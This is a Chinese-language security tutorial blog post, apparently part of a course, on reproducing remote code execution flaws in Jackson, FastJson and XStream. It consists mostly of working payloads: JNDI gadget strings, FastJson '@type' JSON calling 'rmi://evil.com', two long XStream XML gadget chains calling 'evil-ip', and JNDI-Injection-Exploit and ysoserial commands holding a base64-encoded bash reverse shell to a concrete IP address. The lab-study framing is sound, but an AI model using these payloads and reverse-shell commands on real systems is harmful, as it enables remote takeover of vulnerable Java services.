• Day83:服务攻防-开发组件安全&Jackson&FastJson各版本&XStream&CVE环境复现


    目录

    J2EE-组件Jackson-本地demo&CVE

    代码执行 (CVE-2020-8840)

    代码执行 (CVE-2020-35728)

    J2EE-组件FastJson-本地demo&CVE

    FastJson <= 1.2.24

    FastJson <= 1.2.47

    FastJson <= 1.2.80 (利用条件比较苛刻)

    J2EE-组件XStream-靶场&CVE

    代码执行 (CVE-2021-21351)

    代码执行 (CVE-2021-29505)


    知识点:

    1J2EE-组件Jackson-本地demo&CVE

    2J2EE-组件FastJson-本地demo&CVE

    3J2EE-组件XStream-本地demo&CVE

    常见语言开发框架

    1. PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
    2. JAVA:Spring MyBatis Hibernate Struts2 Springboot等
    3. Python:Django Flask Bottle Turbobars Tornado Web2py等
    4. Javascript:Vue.js Node.js Bootstrap JQuery Angular等

    常见语言开发组件:(Java)Apache Solr、Apache Shiro、Apache Struts2、Apache Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba FastJson、Jackson、Log4J、XSteam等。

    黑盒检测:Java应用 请求参数数据以json/xml格式发送测试

    黑盒判断:通过提交数据报错信息得到什么组件,xml格式(xstream) 或 json 格式(fastjson jackson)

    白盒:直接看引用组件版本


     

    J2EE-组件Jackson-本地demo&CVE

    当下流行的json解释器,主要负责处理Json的序列化和反序列化。

    代码执行 (CVE-2020-8840)

    String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
    

    代码执行 (CVE-2020-35728)

    影响版本:FasterXML jackson-databind 2.x < 2.9.10.8

    String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://47.94.236.117:1099/gtaafz\"}]";
    

    J2EE-组件FastJson-本地demo&CVE

    阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

    重点就是:不同版本的fastjson,不同的poc

    利用POC项目:https://github.com/kezibei/fastjson_payload(该项目是针对不同环境的)

    FastJson <= 1.2.24

    1. {
    2. "b":{
    3. "@type":"com.sun.rowset.JdbcRowSetImpl",
    4. "dataSourceName":"rmi://evil.com:9999/TouchFile",
    5. "autoCommit":true
    6. }
    7. }

    FastJson <= 1.2.47

    1. {
    2. "a":{
    3. "@type":"java.lang.Class",
    4. "val":"com.sun.rowset.JdbcRowSetImpl"
    5. },
    6. "b":{
    7. "@type":"com.sun.rowset.JdbcRowSetImpl",
    8. "dataSourceName":"rmi://evil.com:9999/Exploit",
    9. "autoCommit":true
    10. }
    11. }

    FastJson <= 1.2.80 (利用条件比较苛刻)

    利用poc只能用源码项目中调用的第三方库或者组件(类)等

    在实战中,获取目标项目源码后看下调用的第三方库或者组件有哪些,然后在利用poc项目去找对应的POC去测试看看(机会不大)

    利用POC:https://github.com/kezibei/fastjson_payload(该项目是针对不同环境的)

    J2EE-组件XStream-靶场&CVE

    开源Java类库,能将对象序列化成XML或XML反序列化为对象

    代码执行 (CVE-2021-21351)

    影响版本:Xstream<=1.4.15

    生成反弹Shell的JNDI注入

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117
    

    构造JNDI注入Payload以POST方式提交

    1. <sorted-set>
    2. <javax.naming.ldap.Rdn_-RdnEntry>
    3. <type>ysomap</type>
    4. <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
    5. <m__DTMXRTreeFrag>
    6. <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
    7. <m__size>-10086</m__size>
    8. <m__mgrDefault>
    9. <__overrideDefaultParser>false</__overrideDefaultParser>
    10. <m__incremental>false</m__incremental>
    11. <m__source__location>false</m__source__location>
    12. <m__dtms>
    13. <null/>
    14. </m__dtms>
    15. <m__defaultHandler/>
    16. </m__mgrDefault>
    17. <m__shouldStripWS>false</m__shouldStripWS>
    18. <m__indexing>false</m__indexing>
    19. <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
    20. <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
    21. <javax.sql.rowset.BaseRowSet>
    22. <default>
    23. <concurrency>1008</concurrency>
    24. <escapeProcessing>true</escapeProcessing>
    25. <fetchDir>1000</fetchDir>
    26. <fetchSize>0</fetchSize>
    27. <isolation>2</isolation>
    28. <maxFieldSize>0</maxFieldSize>
    29. <maxRows>0</maxRows>
    30. <queryTimeout>0</queryTimeout>
    31. <readOnly>true</readOnly>
    32. <rowSetType>1004</rowSetType>
    33. <showDeleted>false</showDeleted>
    34. <dataSource>rmi://evil-ip:1099/example</dataSource>
    35. <listeners/>
    36. <params/>
    37. </default>
    38. </javax.sql.rowset.BaseRowSet>
    39. <com.sun.rowset.JdbcRowSetImpl>
    40. <default/>
    41. </com.sun.rowset.JdbcRowSetImpl>
    42. </fPullParserConfig>
    43. <fConfigSetInput>
    44. <class>com.sun.rowset.JdbcRowSetImpl</class>
    45. <name>setAutoCommit</name>
    46. <parameter-types>
    47. <class>boolean</class>
    48. </parameter-types>
    49. </fConfigSetInput>
    50. <fConfigParse reference='../fConfigSetInput'/>
    51. <fParseInProgress>false</fParseInProgress>
    52. </m__incrementalSAXSource>
    53. <m__walker>
    54. <nextIsRaw>false</nextIsRaw>
    55. </m__walker>
    56. <m__endDocumentOccured>false</m__endDocumentOccured>
    57. <m__idAttributes/>
    58. <m__textPendingStart>-1</m__textPendingStart>
    59. <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
    60. <m__pastFirstElement>false</m__pastFirstElement>
    61. </m__dtm>
    62. <m__dtmIdentity>1</m__dtmIdentity>
    63. </m__DTMXRTreeFrag>
    64. <m__dtmRoot>1</m__dtmRoot>
    65. <m__allowRelease>false</m__allowRelease>
    66. </value>
    67. </javax.naming.ldap.Rdn_-RdnEntry>
    68. <javax.naming.ldap.Rdn_-RdnEntry>
    69. <type>ysomap</type>
    70. <value class='com.sun.org.apache.xpath.internal.objects.XString'>
    71. <m__obj class='string'>test</m__obj>
    72. </value>
    73. </javax.naming.ldap.Rdn_-RdnEntry>
    74. </sorted-set>

    代码执行 (CVE-2021-29505)

    影响版本:XStream <= 1.4.16

    生成反弹Shell的反序列化JNDI注入

    java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}"
    

    构造反序列化JNDI注入Payload以POST方式提交

    1. <java.util.PriorityQueue serialization='custom'>
    2. <unserializable-parents/>
    3. <java.util.PriorityQueue>
    4. <default>
    5. <size>2</size>
    6. </default>
    7. <int>3</int>
    8. <javax.naming.ldap.Rdn_-RdnEntry>
    9. <type>12345</type>
    10. <value class='com.sun.org.apache.xpath.internal.objects.XString'>
    11. <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
    12. </value>
    13. </javax.naming.ldap.Rdn_-RdnEntry>
    14. <javax.naming.ldap.Rdn_-RdnEntry>
    15. <type>12345</type>
    16. <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
    17. <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
    18. <parsedMessage>true</parsedMessage>
    19. <soapVersion>SOAP_11</soapVersion>
    20. <bodyParts/>
    21. <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
    22. <attachmentsInitialized>false</attachmentsInitialized>
    23. <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
    24. <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
    25. <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
    26. <names>
    27. <string>aa</string>
    28. <string>aa</string>
    29. </names>
    30. <ctx>
    31. <environment/>
    32. <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
    33. <java.rmi.server.RemoteObject>
    34. <string>UnicastRef</string>
    35. <string>evil-ip</string>
    36. <int>1099</int>
    37. <long>0</long>
    38. <int>0</int>
    39. <long>0</long>
    40. <short>0</short>
    41. <boolean>false</boolean>
    42. </java.rmi.server.RemoteObject>
    43. </registry>
    44. <host>evil-ip</host>
    45. <port>1099</port>
    46. </ctx>
    47. </candidates>
    48. </aliases>
    49. </nullIter>
    50. </sm>
    51. </message>
    52. </value>
    53. </javax.naming.ldap.Rdn_-RdnEntry>
    54. </java.util.PriorityQueue>
    55. </java.util.PriorityQueue>

  • 相关阅读:
    2022年起重信号司索工(建筑特殊工种)上岗证题目及在线模拟考试
    python数据处理作业11:建一个5*3的随机数组和一个3*2的数组,其元素为1,2,3,4,5,6,求两矩阵的积
    物联网网关助力生产数据可视化,提升智能管理水平
    7.运算符
    Django中使用下拉列表过滤HTML表格数据
    Tomcat 漏洞总结
    案例 | 美创助力镇海区大数据发展管理中心构建“数改”安全防护力
    Python跳动的爱心(双爱心版)
    安全性归约(一些反例)
    kali终端查看图形类数据
  • 原文地址:https://blog.csdn.net/qq_61553520/article/details/137119452